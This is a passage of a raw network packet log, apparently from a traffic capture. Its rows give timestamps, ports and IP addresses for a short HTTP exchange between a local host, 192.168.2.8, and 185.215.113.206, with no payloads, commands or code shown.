Nov 8, 2024 15:20:42.579623938 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.579653025 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.579698086 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.579710007 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.579720020 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.579732895 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.579744101 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.579765081 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.579792976 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.579834938 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.579854012 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.579871893 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.579888105 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.613584042 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.613600016 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.613693953 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722429991 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722445965 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722462893 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722480059 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722492933 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722520113 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722532988 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722536087 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722544909 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722560883 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722588062 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722608089 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722635031 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722665071 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722676992 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722688913 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722697973 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722712994 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722716093 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722734928 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722735882 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722744942 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722774982 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722819090 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722845078 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722863913 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722872972 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722877979 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722887993 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722893000 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722907066 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722908020 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722924948 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722930908 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722939968 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.722942114 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722953081 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722971916 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.722997904 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723093033 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723104954 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723115921 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723128080 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723141909 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723149061 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723165035 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723203897 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723218918 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723229885 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723246098 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723258972 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723268986 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723297119 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723361969 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723372936 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723390102 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723407030 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723412037 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723419905 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723453999 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723476887 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723491907 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723505020 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723515987 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723526001 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723531008 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723562956 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723582983 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723697901 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723711967 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723721981 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723732948 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723747015 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723753929 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723763943 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723769903 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723779917 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723792076 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723805904 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.723805904 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723833084 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723844051 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.723989010 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724000931 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724013090 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724023104 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724026918 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724040985 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724040985 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724057913 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724071980 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724076986 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724088907 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724101067 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724102020 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724116087 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724190950 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724209070 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724298000 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724311113 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724323034 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724337101 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724344015 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724359035 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724360943 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724373102 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724384069 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724386930 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724400997 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724423885 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724451065 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724597931 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724608898 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724620104 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724633932 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724634886 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724651098 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724654913 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724663973 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724678993 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724679947 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724699020 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724711895 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724714994 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724740028 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724752903 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724872112 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724884987 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724898100 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724910975 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724911928 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724920034 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724932909 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.724935055 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724950075 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724982023 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.724996090 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725008011 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725018024 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725033045 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725033998 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725049019 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725050926 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725081921 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725116014 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725123882 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725137949 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725162983 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725187063 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725254059 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725265980 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725275993 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725287914 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725289106 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725301981 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725307941 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725315094 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725327969 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725330114 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725339890 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725351095 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725366116 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725384951 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725537062 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725549936 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725564957 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725577116 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725579023 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725595951 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725646973 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725660086 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725672007 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725683928 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725697041 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725698948 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725716114 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725719929 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725728035 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725740910 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725754023 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725755930 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725769997 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725780964 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725785017 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.725814104 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.725821972 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.726028919 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.726041079 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.726052046 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.726066113 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.726067066 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.726078987 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.726094007 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.726155043 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.728759050 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.728777885 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.728789091 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.728810072 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.728826046 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.838758945 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.838784933 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.838799953 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.838841915 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.838866949 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.838871956 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.838886976 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.838901997 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.838907003 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.838918924 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.838938951 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.838978052 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839036942 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839051008 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839066029 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839071989 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839081049 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839090109 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839096069 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839112997 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839138031 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839286089 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839301109 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839319944 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839322090 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839339972 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839344025 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839355946 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839359045 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839374065 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839375973 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839390039 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839397907 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839406013 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839416027 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839421034 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839445114 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839457035 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839484930 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839679956 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839694023 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839708090 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839715958 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839723110 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839737892 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839745998 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839752913 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839767933 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839773893 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839782000 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839792013 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839797974 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839812994 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839817047 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839828968 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839843035 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839845896 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839859009 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839863062 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839880943 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839889050 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839895010 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839910984 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.839915991 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.839948893 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840167999 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840182066 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840194941 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840203047 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840209961 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840229988 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840234041 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840243101 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840254068 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840257883 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840274096 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840281963 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840306044 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840306044 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840327978 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840332985 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840342999 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840347052 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840358019 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840363979 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840373993 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840380907 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840396881 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840396881 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840413094 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840414047 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840429068 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840430021 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840444088 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840447903 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840459108 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840464115 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840473890 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840482950 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840487957 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840502977 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840504885 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840518951 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840527058 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840534925 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840549946 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840553045 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840584040 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840768099 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840783119 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840805054 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840826988 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840827942 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840842962 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840857029 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840862036 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840878963 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840897083 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840956926 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840970039 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840984106 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.840987921 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.840998888 CET	80	49705	185.215.113.206	192.168.2.8
Nov 8, 2024 15:20:42.841010094 CET	49705	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:20:42.841013908 CET	80	49705	185.215.113.206	192.168.2.8
